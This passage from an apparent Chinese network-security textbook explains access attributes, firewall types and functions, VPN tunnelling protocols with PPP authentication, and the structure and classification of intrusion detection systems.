当使用文件、目录和网络设备时，网络系统管理员应给文件、目录等指定访问属性。属性安全在权限安全的基础上提供更进一步的安全性。网络上的资源都应预先标出一组安全属性。用户对网络资源的访问权限对应一张访问控制表，用以表明用户对网络资源的访问能力。属性设置可以覆盖已经指定的任何受托者指派和有效权限。属性往往能控制以下几个方面的权限：向某个文件写数据、拷贝一个文件、删除目录或文件、查看目录和文件、执行文件、隐含文件、共享、系统属性等。

5.服务器安全控制

网络允许在服务器控制台上执行一系列操作。用户使用控制台可以装载和卸载模块，可以安装和删除软件。网络服务器的安全控制包括可以设置口令锁定服务器控制台，以防止非法用户修改、删除重要信息或破坏数据；可以设定服务器登录时间限制、非法访问者检测和关闭的时间间隔。


5.3.2 防火墙简介


一般认为，防火墙是位于两个信任程度不同的网络之间（如企业内部网络和因特网之间）的软件或硬件设备的组合，它对两个网络之间的通信进行控制，通过强制实施统一的安全策略，防止对重要信息资源的非法存取和访问，以达到保护系统安全的目的。

通常的做法是将防火墙安放在组织机构与外部网络之间，不过大的机构可能还需要内部防火墙将安全域（Security Domain，也叫管理域（Administrative Domain））隔离开来。安全域即一组在共同管理控制之下，具有相同安全策略和安全等级的系统。在实际设计时，防火墙通常被设计为一个过滤器，用于阻断一定类型的通信传输。有时，在网络内部还要把一些对外提供公共服务的服务器划分出来，另外建立一个停火区，也叫非军事区（DeMilitarized Zone，DMZ），DMZ中的堡垒主机由一个内部网关（Internal Gataway）来协助工作。外部过滤器可用来保护整体网络免受攻击，而内部过滤器则用来保证当某个堡垒主机遭到破坏后内部网络仍能够保持安全，两个过滤器均可保护内部网络，使之免受攻击。一般情况下，建立两个过滤器还是建立一个过滤器，依赖于网络的安全需求。

实现防火墙的技术主要包括两大类：网络级防火墙（也叫包过滤型防火墙）、应用级防火墙（代理级防火墙），下面我们就详细介绍一下这两类防火墙。

1.网络级防火墙

一般是基于源地址和目的地址、应用或协议以及每个IP包的端口来作出通过与否的判断。从这个意义上讲，路由器就是一个最简单的网络级防火墙，它们能通过检查这些数据包的信息来决定是否将所收到的包转发。网络级防火墙在规则表中定义了各种规则来表明是否同意或拒绝包的通过，然后每当一个数据包通过时，把需要判断的数据包的一些信息同规则表进行比较，检查每一条规则直至发现包中的信息与某规则相符。如果没有一条规则能符合，防火墙就会使用默认规则，一般情况下，默认规则就是要求防火墙丢弃该包。通过定义基于TCP或UDP数据包的端口号，防火墙能够判断是否允许建立特定的连接，如Telnet、FTP连接。

高级的防火墙系统通常还有状态检测功能，状态检测又称动态包过滤，是在传统包过滤上的功能扩展，最早由 checkpoint提出。传统的包过滤在遇到利用动态端口的协议时会发生困难，如FTP，防火墙事先无法知道一个FTP服务会使用哪些端口，需要打开哪些端口，如果采用原始的静态包过滤的话，就需要将所有可能用到的端口打开，这就违反了最小服务准则，会给安全带来不必要的隐患。基于状态检测的防火墙通过检查应用程序信息（如FTP的PORT和PASS命令），来判断此端口是否允许需要临时打开，而当传输结束时，端口又马上恢复为关闭状态。另外，基于状态检测的防火墙在数据包过滤时，先将该数据包归并到某个现有会话中，这样过滤时只要看一下这个会话所适用的规则就可以了，这样做有两个好处：一个是避免了NMAP之类的扫描程序利用异常数据包进行网络扫描，另一方面，也加快了防火墙匹配的速度。状态检测概念已经在防火墙研究中得到广泛认可，而且，越来越多的产品也在向这个方向迈进。

通常来说，网络级防火墙简洁、速度快、费用低，并且对用户透明，但是对网络的保护依赖于对网络更高协议层的信息的理解能力。在传统的网络级防火墙中，对网络更高层次的信息的理解能力是十分有限的。

2.应用级防火墙

应用级防火墙能够检查进出的数据包，通过防火墙复制传递数据，防止在受信任服务器和客户机与不受信任的主机间直接建立联系。应用级防火墙能够理解应用层上的协议，能够做复杂一些的访问控制，并做精细的注册和稽核。但每一种协议需要相应的代理软件，使用时工作量大，效率不如网络级防火墙。

常用的应用级防火墙已有了相应的代理服务器，例如HTTP、NNTP、FTP、Telnet、Rlogin、X-Window 等，但是，对于新开发的应用，尚没有相应的代理服务，它们将通过网络级防火墙和一般的代理服务。

应用级防火墙有较好的访问控制功能，而且能够实现内容检查等高级功能，但实现困难，需要针对不同的协议开发不同的代理服务器，而且其身份认证相比来说要更复杂一些。

从近年的发展来看，正在有两种防火墙不断融合的趋势。目前很多防火墙产品中，都集成了这两大类功能，用以满足不同的需求。而且，透明代理技术的发展，也使二者的结合成为可能。最早的透明代理实质上属于NAT（网络地址翻译）的一种，当内网主机访问外网时，防火墙将数据包的源地址变成自己的地址，转发给相应的服务器，得到服务器的应答数据包后，将该数据包的目的地址改成原内网主机的地址，这样内网主机在访问外网服务时，不需要做任何特殊的设置。随着防火墙技术的不断发展，已经有厂商开始在防火墙内部进行数据包的重组和上层协议的分析，防火墙将数据包重组后取出请求，由自己向相应的服务器取得结果，并将结果返回给源客户。这样，不需要客户端采取任何特殊配置，防火墙就可以以类似代理的方式来进行工作，从而使防火墙能够在更高的层次上保护网络。这样的防火墙已经具备了一些入侵检测系统的功能，所不同的是，这些防火墙检查到攻击后，可以立即采取措施将会话终止，因此具有更强大的功能。当然，由于引入了更多的处理，如何使这样的防火墙在具有这些功能后，工作效率、强壮性、稳定性达到较高的水平，还是一个难题。


5.3.3 防火墙主要功能


防火墙的主要功能的实现都使用下述的三种技术方法。

1.包过滤

包过滤功能（Packert Filtering）拒绝接受从未授权的主机发送的TCP/IP包，并拒绝接受使用未授权的服务的连接请求。

互联网络上，所有信息都是以数据包的形式来传输的，数据包中包含发送方的IP地址和接收方的IP地址。数据包过滤就是将所有通过的数据包中发送方IP地址、接收方IP地址、TCP端口、TCP链路状态等信息读出，并按照预先设定的过滤原则过滤数据包，那些不符合规定的数据包会被防火墙丢弃，以保证内部网络系统的安全。

包过滤防火墙通常是基于访问控制来实现的。它利用数据包的头信息（源IP地址、封装协议、端口号等）判定与过滤规则相匹配与否以决定取舍。建立这类防火墙需要按照如下步骤进行：建立安全策略、写出所允许的和禁止的服务、将安全策略转化为数据包分组字段的逻辑表达式、用相应的句法重写逻辑表达式并设置之。包过滤防火墙主要用来防止外来攻击，或是限制内部用户访问某些外部的资源。如果是防止外部攻击，针对典型攻击的过滤规则，大体有：

（1）源IP地址欺骗式攻击（Source IP Address Spoofing Attacks）。对入侵者假冒内部主机，从外部传输一个源IP地址为内部网络IP地址的数据包的这类攻击，防火墙只需把来自外部端口的使用内部源地址的数据包丢弃即可。

（2）残片攻击（Tiny Fragment Attacks）。入侵者使用TCP/IP数据包分段特性，创建极小的分段并强行将TCP/IP头信息分成多个数据包，以绕过用户防火墙的过滤规则。攻击者期望防火墙只检查第一个分段而允许其余的分段通过。目前，大多数防火墙已经实现了碎片的重组功能，可以进行相应的过滤设置。

（3）针对FTP服务的过滤。由于FTP服务分为数据通道和命令通道，而且有正常模式和被动模式之分，因此普通数据包过滤防火墙无法进行恰当的设置，对于具有状态检测功能的防火墙，则可以轻易地实现。例如，使用Linux下面的iptables，可以利用relate关键来匹配FTP服务及其相关的动态连接。

（4）URL过滤、病毒过滤等。目前一些包过滤防火墙还具有这些扩展功能。在实现时，这些防火墙通常需要审查数据包的内容，以发现可疑的字段，然后进行访问控制设置。这些功能通常按照实现方式的不同，可以分为按照数据包的过滤和按照会话的过滤。在按照数据包的过滤方式中，只是对各个数据包进行检查，这样的检查机制，很容易被绕过；按照会话重组，则不大容易被欺骗，但是代价则是在性能上的牺牲。

事实上，随着防火墙的发展，已经越来越多地融合了入侵检测技术。但是，由于防火墙对于稳定性、效率等都有着很严格的要求，因此二者的融合方式以及具体的方法，都还在不断的研究之中。

2.网路地址翻译

网络地址翻译（Network Address Translation，NAT），NAT 也称为 IP 伪装（IP Masquerading）。防火墙在接收到数据包后，将源地址或者是目的地址修改后发送，主要是为了解决IP地址不足问题。此外，由于使用网络地址翻译导致网络外部无法访问网络内部的未经授权的服务，因此从一定意义来说可以有效地保护网络内部的系统。

NAT主要是通过防火墙、路由器等网络边缘设备来实现。当网络数据包流入防火墙时，系统会检查该数据包是否符合用户设定的NAT规则，如果找到符合的规则，系统会按照规则对数据包进行转换，同时建立一条NAT进程，当有数据包返回时，将检查进程表，进行相应的处理。

3.代理服务

代理服务（Proxy Service），代理服务器从客户端接到请求后，访问需要访问的服务器，并将结果返回给客户端，这种技术通常能够提供更为强大的访问控制。

代理服务器接收客户请求后会检查验证其合法性，如其合法，代理服务器像一台客户机一样取回所需的信息再转发给客户。它将内部系统与外界隔离开来，从外面只能看到代理服务器而看不到任何内部资源。代理服务器只允许有代理的服务通过，而其他所有服务都完全被封锁住。

代理服务器非常适合那些根本就不希望外部用户访问企业内部的网络，而也不希望内部的用户无限制地使用或滥用互联网络。采用代理服务器，可以把企业的内部网络隐藏起来，内部的用户需要验证和授权之后才可以去访问因特网。

以上我们简要介绍了防火墙相关的一些知识，事实上，作为目前网络安全研究上一个重要的组成方面，防火墙正在迅速的发展之中。出现了很多具有新功能的防火墙系统，如基于内容的检测、透明模式等，在此我们就不一一介绍了。


5.4 VPN基本概念和介绍



5.4.1 VPN概述


虚拟专用网络（Virtual Private Network，VPN）在VPN客户机与VPN网关之间创建一个加密的、虚拟的点对点连接，保障数据在经过因特网时的安全。例如，公司人员出差到外地或在家中，需要访问公司企业网资源。如果直接拨入的话，未加密的数据包很容易被人监听或拦截。因此，企业内部信息资源也开始广泛使用互联网络协议时，VPN也就越来越重要了。

对于构建VPN来说，网络隧道（Tunnelling）技术是个关键技术。网络隧道技术指的是利用一种网络协议来传输另一种网络协议，它主要利用网络隧道协议来实现这种功能。目前，常用的有三种网络隧道协议，一种是二层隧道协议，用于传输二层网络协议，它主要应用于构建远程访问虚拟专网（Access VPN）；三层隧道协议则用于传输三层网络协议，它主要应用于构建企业内部虚拟专网（Intranet VPN）和扩展的企业内部虚拟专网（Extranet VPN）。第2层隧道协议对应数据链路层，使用帧作为数据交换单位。PPTP、L2TP和L2F（第2层转发）都属于第2层隧道协议，都是将数据封装在点对点协议（PPP）帧中通过互联网络发送。第3层隧道协议对应于网络层，使用包作为数据交换单位。IP over IP以及IPSEC隧道模式都属于第3层隧道协议，都是将IP包封装在附加的IP包头中通过IP网络传送。为创建隧道，隧道的客户机和服务器双方必须使用相同的隧道协议。此外，建立在 TCP/UDP 之上的网络隧道技术近几年来也有了较快的发展，通过采用 TCP/UDP 协议，避免了网络运营商的过滤，使得真正能够通过公网来建立加密隧道。这方面比较常见的如 OpenVPN 隧道以及最近出现的构建于https之上的Softether隧道技术等。鉴于在安全协议一章中已经介绍了 IPSEC，而基于TCP/UDP及其以上层的VPN往往使用自己定义的协议，本节中主要介绍第二层隧道。

点对点隧道协议（PPTP）允许对IP、IPX或NetBEUI数据流进行加密，然后封装在IP包头中通过企业IP网络或公共互联网络发送。第2层隧道协议（L2TP）协议允许对IP、IPX或NetBEUI数据流进行加密，然后通过支持点对点数据报传递的任意网络发送，如IP、X.25、帧中继或ATM。对于像PPTP和L2TP这样的第2层隧道协议，创建隧道的过程类似于在双方之间建立会话；隧道的两个端点必须同意创建隧道并协商隧道各种配置变量，如地址分配、加密或压缩等参数。绝大多数情况下，通过隧道传输的数据都使用基于数据报的协议发送。隧道维护协议被用来作为管理隧道的机制。

安全IP（IPSEC）隧道模式即IPSEC隧道模式允许对IP负载数据进行加密，然后封装在IP包头中通过企业IP网络或公共IP互联网络如Internet发送。第3层隧道技术通常假定所有配置问题已经通过手工过程完成，这些协议不对隧道进行维护。这与第2层隧道协议不同，第2层隧道协议（PPTP和L2TP）必须包括对隧道的创建，维护和终止。为实现在专用或公共IP网络上的安全传输，IPSEC隧道模式使用的安全方式封装和加密整个IP包。然后对加密的负载再次封装在明文 IP包头内通过网络发送到隧道服务器端。隧道服务器对收到的数据报进行处理，在去除明文IP包头，对内容进行解密之后，获得最初的负载IP包。负载IP包在经过正常处理之后被路由到位于目标网络的目的地。

IPSEC 隧道模式具有以下功能和局限：（1）只能支持 IP 数据流；（2）工作在 IP 栈（IPstack）的底层，因此，应用程序和高层协议可以继承 IPSEC 的行为；（3）由一个安全策略（一整套过滤机制）进行控制。安全策略按照优先级的先后顺序创建可供使用的加密和隧道机制以及验证方式。当需要建立通信时，双方机器执行相互验证，然后协商使用何种加密方式。此后的所有数据流都将使用双方协商的加密机制进行加密，然后封装在隧道包头内。

隧道一旦建立，数据就可以通过隧道发送。隧道客户端和服务器使用隧道数据传输协议准备传输数据。例如，当隧道客户端向服务器端发送数据时，客户端首先给负载数据加上一个隧道数据传送协议包头，然后把封装的数据通过互联网络发送，并由互联网络将数据路由到隧道的服务器端。隧道服务器端收到数据包之后，去除隧道数据传输协议包头，然后将负载数据转发到目标网络。

（1）自愿隧道（Voluntary Tunnel）。用户或客户端计算机可以通过发送VPN请求配置和创建一条自愿隧道。此时，用户端计算机作为隧道客户方成为隧道的一个端点。当一台工作站或路由器使用隧道客户软件创建到目标隧道服务器的虚拟连接时建立自愿隧道。为实现这一目的，客户端计算机必须安装适当的隧道协议。自愿隧道需要有一条IP连接（通过局域网或拨号线路）。使用拨号方式时，客户端必须在建立隧道之前创建与公共互联网络的拨号连接。一个最典型的例子是Internet拨号用户必须在创建Internet隧道之前拨通本地ISP取得与Internet的连接。对企业内部网络来说，客户机已经具有同企业网络的连接，由企业网络为封装负载数据提供到目标隧道服务器路由。自愿隧道技术为每个客户创建独立的隧道。FEP和隧道服务器之间建立的隧道可以被多个拨号客户共享，而不必为每个客户建立一条新的隧道。因此，一条隧道中可能会传递多个客户的数据信息，只有在最后一个隧道用户断开连接之后才终止整条隧道。

（2）强制隧道（Compulsory Tunnel）。由支持VPN的拨号接入服务器配置和创建一条强制隧道。此时，用户端的计算机不作为隧道端点，而是由位于客户计算机和隧道服务器之间的远程接入服务器作为隧道客户端，成为隧道的一个端点。目前，一些商家提供能够代替拨号客户创建隧道的拨号接入服务器。这些能够为客户端计算机提供隧道的计算机或网络设备包括支持PPTP协议的前端处理器（FEP）、支持L2TP协议的L2TP接入集线器（LAC）或支持IPSEC的安全IP网关。本文将主要以FEP为例进行说明。为正常地发挥功能，FEP必须安装适当的隧道协议，同时必须能够当客户计算机建立起连接时创建隧道。以 Internet 为例，客户机向位于本地ISP的能够提供隧道技术的NAS发出拨号呼叫。例如，企业可以与某个ISP签定协议，由ISP为企业在全国范围内设置一套FEP。这些FEP可以通过Internet创建一条到隧道服务器的隧道，隧道服务器与企业的专用网络相连。这样，就可以将不同地方合并成企业网络端的一条单一的Internet连接。因为客户只能使用由FEP创建的隧道，所以称为强制隧道。一旦最初的连接成功，所有客户端的数据流将自动地通过隧道发送。使用强制隧道，客户端计算机建立单一的 PPP连接，当客户拨入 NAS时，一条隧道将被创建，所有的数据流自动通过该隧道路由。可以配置FEP为所有的拨号客户创建到指定隧道服务器的隧道，也可以配置FEP基于不同的用户名或目的地创建不同的隧道。


5.4.2 点对点协议（PPP）


因为第2层隧道协议在很大程度上依靠PPP协议的各种特性，因此有必要对PPP协议进行深入的探讨。PPP协议主要是设计用来通过拨号或专线方式建立点对点连接发送数据。PPP协议将IP、IPX和NETBEUI包封装在PPP帧内通过点对点的链路发送。PPP协议主要应用于连接拨号用户和NAS。PPP拨号会话过程可以分成4个不同的阶段。分别如下：

阶段1：创建PPP链路。PPP使用链路控制协议（LCP）创建，维护或终止一次物理连接。在LCP阶段的初期，将对基本的通信方式进行选择。应当注意在链路创建阶段，只是对验证协议进行选择，用户验证将在第2阶段实现。同样，在LCP阶段还将确定链路对等双方是否要对使用数据压缩或加密进行协商。实际对数据压缩/加密算法和其他细节的选择将在第4阶段实现。

阶段2：用户验证。在第2阶段，客户端PC将用户的身份证明发给远端的接入服务器。该阶段使用一种安全验证方式避免第三方窃取数据或冒充远程客户接管与客户端的连接。大多数的 PPP 方案只提供了有限的验证方式，包括口令验证协议（PAP）、挑战握手验证协议（CHAP）和微软挑战握手验证协议（MSCHAP）。

（1）口令验证协议（PAP）。PAP是一种简单的明文验证方式。NAS要求用户提供用户名和口令，PAP以明文方式返回用户信息。很明显，这种验证方式的安全性较差，第三方可以很容易地获取被传送的用户名和口令，并利用这些信息与NAS建立连接获取NAS提供的所有资源。所以，一旦用户密码被第三方窃取，PAP无法提供避免受到第三方攻击的保障措施。

（2）挑战—握手验证协议（CHAP）。CHAP是一种加密的验证方式，能够避免建立连接时传送用户的真实密码。NAS向远程用户发送一个挑战口令，其中包括会话ID和一个任意生成的挑战字串。远程客户必须使用 MD5 单向哈西算法返回用户名和加密的挑战口令，会话ID以及用户口令，其中用户名以非哈西方式发送。

CHAP对PAP进行了改进，不再直接通过链路发送明文口令，而是使用挑战口令以哈西算法对口令进行加密。因为服务器端存有客户的明文口令，所以服务器可以重复客户端进行的操作，并将结果与用户返回的口令进行对照。CHAP为每一次验证任意生成一个挑战字串来防止受到重放攻击。在整个连接过程中，CHAP将不定时地向客户端重复发送挑战口令，从而避免第3方冒充远程客户进行攻击。

（3）微软挑战—握手验证协议（MS-CHAP）。与CHAP相类似，MS-CHAP也是一种加密验证机制。同 CHAP一样，使用MS-CHAP时，NAS会向远程客户发送一个含有会话ID和任意生成的挑战字串的挑战口令。远程客户必须返回用户名以及经过 MD4 哈西算法加密的挑战字串，会话ID和用户口令的MD4哈西值。采用这种方式服务器端将只存储经过哈西算法加密的用户口令而不是明文口令，这样就能够提供进一步的安全保障。此外，MS-CHAP同样支持附加的错误编码，包括口令过期编码以及允许用户自己修改口令的加密的客户-服务器附加信息。使用MS-CHAP，客户端和NAS双方各自生成一个用于随后数据加密的起始密钥。MS-CHAP使用基于MPPE 的数据加密，这一点非常重要，可以解释为什么启用基于MPPE的数据加密时必须进行MS-CHAP验证。

EAP是由IETF提出的PPP协议的扩展，允许连接使用任意方式对一条PPP连接的有效性进行验证。EAP支持在一条连接的客户和服务器两端动态加入验证插件模块。

交易层安全协议（EAP-TLS）已经作为提议草案提交给IETF，用于建立基于公用密钥证书的强大的验证方式。使用EAP-TLS，客户向拨入服务器发送一份用户方证书，同时，服务器把服务器证书发送给客户。用户证书向服务器提供了强大的用户识别信息；服务器证书保证用户已经连接到预期的服务器。用户方证书可以被存放在拨号客户 PC 中，或存放在外部智能卡中。无论哪种方式，如果用户不能提供没有一定形式的用户识别信息（PIN 号或用户名和口令），就无法访问证书。

在第2阶段PPP链路配置阶段，NAS收集验证数据然后对照自己的数据库或中央验证数据库服务器（位于NT主域控制器或远程验证用户拨入服务器）验证数据的有效性。

阶段3：PPP回叫控制。微软设计的PPP包括一个可选的回叫控制阶段。该阶段在完成验证之后使用回叫控制协议（CBCP）如果配置使用回叫，那么在验证之后远程客户和 NAS之间的连接将会被断开。然后由NAS使用特定的电话号码回叫远程客户。这样可以进一步保证拨号网络的安全性。NAS只支持对位于特定电话号码处的远程客户进行回叫。

阶段4：调用网络层协议。在以上各阶段完成之后，PPP将调用在链路创建阶段（阶段1）选定的各种网络控制协议（NCP）。例如，在该阶段IP控制协议（IPCP）可以向拨入用户分配动态地址。在微软的PPP方案中，考虑到数据压缩和数据加密实现过程相同，所以共同使用压缩控制协议协商数据压缩（使用MPPC）和数据加密（使用MPPE）。

一旦完成上述4阶段的协商，PPP就开始在连接对等双方之间转发数据。每个被传送的数据报都被封装在PPP包头内，该包头将会在到达接收方之后被去除。如果在阶段1选择使用数据压缩并且在阶段4完成了协商，数据将会在被传送之前进行压缩。类似的，如果如果已经选择使用数据加密并完成了协商，数据（或被压缩数据）将会在传送之前进行加密。


5.4.3 常见的隧道协议


1.点对点隧道协议（PPTP）

PPTP是一个第2层的协议，将PPP数据帧封装在IP数据报内通过IP网络，如Internet传送。PPTP还可用于专用局域网络之间的连接。RFC草案“点对点隧道协议”对PPTP协议进行了说明和介绍。该草案由 PPTP论坛的成员公司，包括微软、Ascend、3Com和ECI 等公司在1996年6月提交至IETF。可在如下站点http://www.ietf.org参看草案的在线拷贝。PPTP使用一个TCP连接对隧道进行维护，使用通用路由封装（GRE）技术把数据封装成PPP数据帧通过隧道传送。可以对封装PPP帧中的负载数据进行加密或压缩。

2.第2层转发（L2F）

L2F是Cisco公司提出隧道技术，作为一种传输协议L2F支持拨号接入服务器，将拨号数据流封装在PPP帧内通过广域网链路传送到 L2F服务器（路由器）。L2F服务器把数据包解包之重新注入（Inject）网络。与PPTP和L2TP不同，L2F没有确定的客户方。应当注意L2F只在强制隧道中有效。

3.第2层隧道协议（L2TP）

L2TP结合了PPTP和L2F协议。设计者希望L2TP能够综合PPTP和L2F的优势。L2TP是一种网络层协议，支持封装的PPP帧在IP、X.25、帧中继或ATM等的网络上进行传送。当使用IP作为L2TP的数据报传输协议时，可以使用 L2TP作为Internet上的隧道协议。L2TP还可以直接在各种 WAN媒介上使用而不需要使用IP传输层。RFC“第2层隧道协议”对 L2TP 进行了说明和介绍。该文档于 1998年1月被提交至 IETF。可以在以下网站http://www.ietf.org/获得草案拷贝。

IP网上的L2TP使用UDP和一系列的L2TP消息对隧道进行维护。L2TP同样使用UDP将L2TP协议封装的PPP帧通过隧道发送。可以对封装在PPP帧中的负载数据进行加密或压缩。

PPTP 和 L2TP 都使用 PPP 协议对数据进行封装，然后添加附加包头用于数据在互联网络上的传输。尽管两个协议非常相似，但是仍存在以下几方面的不同：

PPTP要求互联网络为IP网络。L2TP只要求隧道媒介提供面向数据包的点对点的连接。L2TP可以在IP（使用UDP）、帧中继永久虚拟电路（PVC）、X.25虚拟电路（VC）或ATM VC网络上使用。

PPTP只能在两端点间建立单一隧道。L2TP支持在两端点间使用多隧道。使用L2TP，用户可以针对不同的服务质量创建不同的隧道。

L2TP可以提供包头压缩。当压缩包头时，系统开销（overhead）占用4字节，而PPTP协议下要占用6字节。

L2TP可以提供隧道验证，而PPTP则不支持隧道验证。但是当L2TP或PPTP与IPSEC共同使用时，可以由IPSEC提供隧道验证，不需要在第2层协议上验证隧道。

因为第2层隧道协议（PPTP和L2TP）以完善的PPP协议为基础，因此继承了一整套的特性。

用户验证。

令牌卡（Token Card）支持。通过使用扩展验证协议（EAP），第2层隧道协议能够支持多种验证方法，包括一次性口令（One-Time Password）、加密计算器（Cryptographic Calculator）和智能卡等。

动态地址分配。第2层隧道协议支持在网络控制协议（NCP）协商机制的基础上动态分配客户地址。第 3 层隧道协议通常假定隧道建立之前已经进行了地址分配。目前IPSEC隧道模式下的地址分配方案仍在开发之中。

数据压缩。第 2层隧道协议支持基于 PPP的数据压缩方式。例如，微软的 PPTP和L2TP方案使用微软点对点加密协议（MPPE）。IETP正在开发应用于第3层隧道协议的类似数据压缩机制。

数据加密。第2层隧道协议支持基于PPP的数据加密机制。微软的PPTP方案支持在RSA/RC4算法的基础上选择使用MPPE。

密钥管理。作为第2层协议的MPPE依靠验证用户时生成的密钥，定期对其更新。

多协议支持。第2层隧道协议支持多种负载数据协议，从而使隧道客户能够访问使用IP、IPX，或NetBEUI等多种协议企业网络。
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第6章 入侵检测和紧急响应



6.1 入侵检测系统介绍


入侵检测系统（Intrusion Detection System，IDS）是一个目前热门的研究领域。由于无法完全避免系统被攻击或者入侵，入侵检测系统就成为一个能及时发现攻击或入侵，并能够向安全管理者提供有价值的安全警报的系统。由于入侵事件的实际危害越来越大，人们对入侵检测系统的关注也越来越多。入侵检测系统便成为网络安全体系结构中的一个重要环节。

那么，如何才能够检测出入侵呢？其实入侵检测跟其他检测技术有同样的原理，那就是：从一组数据中，检测出符合某一特点的数据。攻击者进行攻击时留下痕迹，这些痕迹和系统正常运行时产生的数据混在一起，入侵检测系统的任务就是从这个混合数据中找出入侵的痕迹，如果有入侵的痕迹就报警有入侵事件发生。

通用入侵检测框架（Common Intrusion Detection Framework，CIDF）阐述了一个入侵检测系统（IDS）的通用模型，是当前IDS 的典型结构。它将一个入侵检测系统分为以下组件：

事件产生器（Event generators）

事件分析器（Event analyzers）

响应单元（Response units）

事件数据库（Event databases）

CIDF 将入侵检测系统需要分析的数据统称为事件（Event）,它可以是基于网络的入侵检测系统中网络中的数据包，也可以是基于主机的入侵检测系统从系统日志等其他途径得到的信息。它也对各部件之间的信息传递格式、通信方法和标准API 进行了标准化。事件产生器的目的是从整个计算环境中获得事件，并向系统的其他部分提供此事件。事件分析器分析得到数据，并产生分析结果。响应单元则是对分析结果作出反应的功能单元，它可以作出切断连接、改变文件属性等强烈反应,甚至发动对攻击者的反击，也可以只是简单的报警。事件数据库是存放各种中间和最终数据的地方的统称，它可以是复杂的数据库，也可以是简单的文本文件。

在 CIDF 模型中的四个组件中，应该说事件数据库是更重要的核心。事件产生器、分析器的不同只是采集和分析的效率，比如，很多厂商的IDS 都采用更多的协议分析模块来加强数据的分析能力。而事件库则很明显地体现了 IDS 的检测能力（不是性能），也同检测引擎有密切关系，因为通常的误报和漏报都同事件定义明确相关。


6.1.1 入侵检测系统的结构


入侵检测系统在部署时，通常也要考虑部署的总体结构。入侵检测系统的总体机构就是其各个组件建在网络上的分布，以及它们之间的关系。一个入侵检测系统可以由一个或者多个检测单元组成。一个检测单元就是一个有相当独立的信息源和检测技术。也就是说，一个检测单元可以检测某个范围内的入侵事件，例如检测某个网段、检测某个服务等。

从结构来看，一个检测单元可以分为：单型、主从型和对等型入侵检测系统，如图 6.1所示。这三种类型可以把入侵检测系统体系结构的发展过程体现出来。


图6.1 单元检测的三种结构



在初始阶段，入侵检测系统的结构是单型 IDS，就是信息收集器、分析器和其他部分都由一台机器完成。分析器和其他部分叫做判决中心。单型IDS的优点是设计简单，适用于小型入侵检测。它的弱点是局部性检测。大部分基于主机的入侵检测工具（在下面讨论）可以归为这一类。虽然目前的入侵检测系统采用分布式的，但是它都以单型IDS为基础。

随着入侵事件的发展，入侵检测系统发展到分布式结构。一个有典型的分布式结构的IDS是主从型IDS，它包括多个信息源分布在网上不同位置和信息处理中心（分析）。信息源收集信息，集中在信息处理中心处理。这种结构的优点是解决了单型IDS的局部性。它的弱点是，信息收集器传来的数据在网上流量过大，对网络性能有一定的影响。集中式处理的局限是如果信息处理中心被受到攻击（例如DOS攻击），则整个网络就处于不安全状态。如果信息收集器只负责收集信息，没有信息处理功能，这样的模型被叫做 sensors/console 型。若信息收集器具有一定的信息处理功能，能够检测出入侵相关的事件，则被叫做agents/console型。实际上每个agent可以看成一个单型的入侵检测系统。

对等型IDS目前处于入侵检测研究理论的初级阶段。这种模型放弃了集中式处理的概念。它包括多个相当独立的小型入侵检测系统。每个小型的入侵检测系统运行在某个特殊的环境下。它可以灵活和智能地检查该环境的任何变化。这些小型入侵检测系统能互相通信。对等型IDS的优点就是解决了主从型的集中式处理问题，它的可扩展性很强。可是这种模型的实现难度很大。

如果一个入侵检测系统由多个入侵检测单元组成，这些检测单元之间可以交换数据，检测结果，甚至命令等信息。这些检测单元的分布结构有三种：星型、树型和对等型。

第一种是星型控制，如图6.2所示。

星型就是所有的检测单元都直接受一个控制中心管理。所有的检测结果、响应都可以直接传给控制中心。控制中心也可以直接向这些检测单元发控制命令。检测单元和控制中心之间可以交换数据，例如响应信息。

星型是一种集中控制形式。这种控制易于实现，但是它的性能比较差，因为，控制中心要处理的范围太大，如果控制中心受到攻击（如DOS）攻击，那么整个系统就处于不安全状态。

第二种控制形式是树型，如图6.3所示。


图6.2 星型控制示意图




图6.3 树型控制示意图



树型控制就是不同检测单元有不同控制级别。高级别的单元可以控制低级别的单元，也就是可以向低级别的单元下命令。检测单元之间的数据传输也是相邻级别之间的传递。


图6.4 对等型控制示意图



树型控制就是一种部分分布控制形式。控制权不集中在一个控制中心而分布在各个检测单元中。由于各个检测单元的控制级别不同，它们之间有一定的依赖性，所以叫做部分分布控制形式。

第三种控制就是对等型控制。一个对等型控制示意图如图6.4所示。

对等型控制就是各个检测单元都有很强的独立性，它们互相有平等关系。任何一个单元都可以向其他单元发请求或者传递数据信息。为了实现这样一个控制形式，每个单元都必须知道其他单元的身份信息（如地址、检测范围等）。因此必须存在一个地方——信息服务中心，来保存各个单元的身份信息。

对等型控制就是全分布控制形式。可以说，控制权均匀分布在所有的检测单元上。检测单元之间没有一个很强的依赖性，所以若任何一个单元不工作的话，不会影响其他单元的正常工作。


6.1.2 入侵检测系统的分类


一种最常见的入侵检测系统分类方法是根据它们的信息源。有的入侵检测系统分析来自骨干网或者局域网的数据包，有的采用分析操作系统或者应用程序自动生成的信息源。

1.基于网络的入侵检测系统

大多数入侵检测系统商业产品是基于网络。为了检测入侵，这种入侵检测系统捕获并分析网络数据包。通过监听某个网段的流量，一个基于网络的入侵检测系统可以监控并分析该网段发生的事件，从而可以保护该网段的所有主机。基于网络的入侵检测系统一般包括一组传感器分布在网络的不同网段。由于这些传感器专门为了入侵检测系统设计，所以它们具有很多对付攻击的安全措施。很多传感器有一个运行模式叫做“秘密行动”，这样，攻击者难以确定它们的存在以及位置。

（1）优点

一个基于网络的入侵检测系统可以监控多个主机。

基于网络的入侵检测系统在网络上的存在一般对现有的网络影响比较小。基于网络的入侵检测系统只是被动地监听网络流量，根本不妨碍网络的正常运行。所以一个现有的网络可以很容易地安装上一个基于网络的入侵检测系统。

基于网络的入侵检测系统可以设计成非常健壮，有时攻击者根本都看不到它的存在。

（2）缺点

基于网络的入侵检测系统的处理能力可能有限。在一个高速网络上，基于网络的入侵检测系统可能会处理不了所有的数据包，从而有的攻击可能会检测不到。有的厂家为了克服这个问题把基于网络的入侵检测系统做成硬件，提高它们的处理速度。提高速度的另一种途径是减少检测的攻击类型或者大量使用系统资源，这样影响检测的效率。

在一个交换式的网络中，基于网络的入侵检测系统的很多优点都起不到什么作用。交换器把网络分成多个小片段并对各个主机之间提供专用的连接。一般交换器不提供通用的监控端口，限制了传感器对一个主机的监控范围。尽管交换机提供一些监控端口，一个端口也不能监控到通过交换器的所有流量。

基于网络的入侵检测系统不能分析加密信息。现在越来越多人（包括攻击者）使用虚拟专用网（VPN）。在这样的网络环境下传输的信息都被加过密，基于网络的入侵检测系统就作废了。

